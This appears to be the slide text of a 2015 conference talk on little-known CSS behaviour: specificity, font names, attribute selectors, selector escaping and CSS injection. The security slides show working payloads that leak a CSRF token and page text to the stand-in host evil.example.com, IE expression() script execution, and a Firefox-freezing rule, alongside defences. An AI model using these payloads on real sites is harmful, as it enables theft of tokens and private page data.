3.14 things I didn’t know about CSS @ CSSConf.asia 2015

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@mathias · #devfestasia 3.14 things I didn’t know about CSS

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@mathias

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!important

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!important .foo .bar { color: red; } .bar { color: green; }

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mths.be/bsh

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.foo .bar { color: red; } .bar { color: green !important; } !important

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mths.be/bsh

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.foo .bar { color: red; } .bar { color: green !important; } !important

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.foo .bar { color: red; } .bar { color: green !important; } !important ✘

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.foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green; } New !important best practice ✔ * not really *

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mths.be/bsh

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Font family names

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Font family names in CSS html {  font-family: 'Comic Sans MS';  } “If there’s whitespace in the font family name, it must be quoted.”

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Font family names in CSS html {  font-family: Comic Sans MS;  } “If there’s whitespace in the font family name, it must be quoted.” mths.be/bft

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Font family names in CSS html {  font-family: 456bereastreet;  }

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Font family names in CSS html {  font-family: 456bereastreet;  }

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Font family names in CSS html {  font-family: \34 56bereastreet;  }

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Font family names in CSS html {  font-family: \34 56bereastreet;  }

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Font family names in CSS html {  font-family: '456bereastreet';  }

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mths.be/bjm

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Attribute values

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Attribute values … a[href="foo"] { background: hotpink; }

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Unquoted attribute values … a[href=foo] { background: hotpink; }

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Unquoted attribute values … a[href=foo|bar] { background: hotpink; }

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Unquoted attribute values … a[href=foo|bar] { background: hotpink; }

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Unquoted attribute values … a[href="foo|bar"] { background: hotpink; }

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Unquoted attribute values mths.be/bjn

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CSS comments

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CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; }

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CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; } ✔

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; }

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✘

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✔ mths.be/brz

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.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

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.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

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.some-selector { background: hotpink; colour: red; text-align: center; } CSS comments mths.be/brz

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.some-selector { background: hotpink; colour: red; text-align: center; } ✔ CSS comments mths.be/brz

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mths.be/brz

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HTML tags

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Valid HTML       Foo      …   

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Valid HTML       Foo      …   

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Valid HTML       Huh?    … 

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Valid HTML       Huh?    … 

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Valid HTML   lolwut  … 

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No content

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Using CSS without HTML

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“No JS” mths.be/bsf

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mths.be/bsf

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$ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06 Nov 2015 13:33:37 GMT Link: ;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe

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mths.be/bsb

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U̶̓̄̈̄̉ ̦ ̖̫̖̻ nẛ̥ḯ ͎͈̪ ̇͋cͯ̃̂̀̉ ̲̰̝ oͥ͢ ̮̠͈͍̱ d̃ͨͫ ̤̻͉̞ ȩ̭̟̳̳̪͈ ̔͑̃ ̐ͣ̓͊ ͈̬̘̹͙̙ i ͥ̈́ͮ͛͒ ̨ ̻nͩ̉̅̈́̇̒͑ ̼̥̦̣ ̭̙̹ ̇ͮͥͭ̇͌ ̠Cͤ̋ͯ̑̏̈́ͥ ͍̦ ̯̠̘͎ Sͥ͊̔̋ ̞̣ ̜̪̲̗ Sͧ̊ ͛ ̮̞

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Classes and IDs in HTML

…

legalese

HTML 4 lyfe, homes!

LOL

…

Warning: …

Outdated browser detected.

mths.be/afd

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Classes and IDs in HTML

Good luck styling me!

heh

huh

wat

mths.be/afd

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mths.be/bsc

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Escaping CSS selectors

#\#id { }

.\.class { }

#\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { }

.\[attr\=\'value\'\] { }

#\34 04-error { }

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Escaping CSS selectors

#© { } #\A9 { }

.♥ { } .\2665 { }

#“” { } #\201C \201D { }

." { } .\1F4A9 { }

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Escaping CSS selectors mths.be/bsd

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mths.be/bpo

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mths.be/cssescape

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Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … mths.be/cssescape

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Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape

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Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape ✘

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Escaping CSS selectors var id = location.hash.slice(1); var $el = $('#' + CSS.escape(id)); // … var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … mths.be/cssescape ✔

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Using CSS for #evil$

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XSS

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mths.be/bry

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Injection contexts p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>;

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What’s the worst you can do if you have control over a page’s CSS?

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p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>; Injection contexts

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p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>; Injection contexts

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Stealing data from the DOM mths.be/bsj

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#csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); } #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Leaking an attribute value mths.be/bsj

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mths.be/bsj

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mths.be/bsj

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abcdefg

Stealing data from the DOM mths.be/bsj

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@font-face { font-family: h4x0r; src: url(//evil.example.com/?v=A); unicode-range: U+0041; } #sensitive-information { font-family: h4x0r; } Leaking unique symbols from a text node mths.be/bup

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mths.be/buo

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#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); }

Lorem ipsum

CSS Expressions in IE ≤ 7 mths.be/brw

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Lorem ipsum

CSS Expressions in IE ≤ 7 mths.be/brw

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* { width: expression( alert('XSS through CSS') ); } CSS Expressions in IE ≤ 7 mths.be/brw

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No content

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* { width: expression( window.open('//evil.example.com/') ); } CSS Expressions in IE ≤ 7 mths.be/brw

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No content

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IE’s legacy document modes mths.be/brx

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IE’s legacy document modes mths.be/brx

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Lorem ipsum

CSS Expressions in IE ≤ 10 mths.be/brx

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CSS Expressions in IE ≤ 10 mths.be/bpu

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1. sanitize user input before injecting it in a CSS context  2. disallow framing using the HTTP header  X-Frame-Options: DENY  3. use How to avoid CSS expression vulnerabilities? mths.be/bpu

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1. sanitize user input before injecting it in a CSS context  2. disallow framing using the HTTP header  X-Frame-Options: DENY  3. use How to avoid CSS expression vulnerabilities? mths.be/bpu

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* { background: url('javascript:while(true){}'); } Freezing Firefox mths.be/bsa

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mths.be/brs

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mths.be/brs

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One More Thing™ #cssbandnames

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kbd { color: black; } What band is this? #cssbandnames

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kbd { color: black; } What band is this? The Black Keys #cssbandnames

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The Black Keys

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:root { background: #f00; } What band is this? #cssbandnames

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:root { background: #f00; } What band is this? Simply Red #cssbandnames

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Simply Red

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head { display: block; content: '\1F4FB '; } What band is this? #cssbandnames

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head { display: block; content: '\1F4FB '; } What band is this? %head #cssbandnames

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Radiohead

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hr { height: 1px; border: 0; background: hsl(0, 0%, 100%); } What band is this? #cssbandnames

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hr { height: 1px; border: 0; background: hsl(0, 0%, 100%); } What band is this? The White Stripes #cssbandnames

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The White Stripes

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.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What song is this?

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.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What song is this? Paint It Black by The Rolling Stones

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The Rolling Stones

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input[type="date"] { color: rgb(0, 255, 0); } What band is this? #cssbandnames

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input[type="date"] { color: rgb(0, 255, 0); } What band is this? Green Day #cssbandnames

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Green Day

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ed, emacs, nano, vi { font-family: monospace; } What band is this? #cssbandnames

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ed, emacs, nano, vi { font-family: monospace; } What band is this? Editors #cssbandnames

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Editors

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p i { color: black; } What band is this? #cssbandnames

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p i { color: black; } What band is this? The Black ’d

s #cssbandnames

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The Black ’d

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Thanks to: Simon Pieters Tab Atkins Martin Kool Mario Heiderich Frederik Braun Mike West Divya Manian Masato Kinugawa

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Thanks! @mathias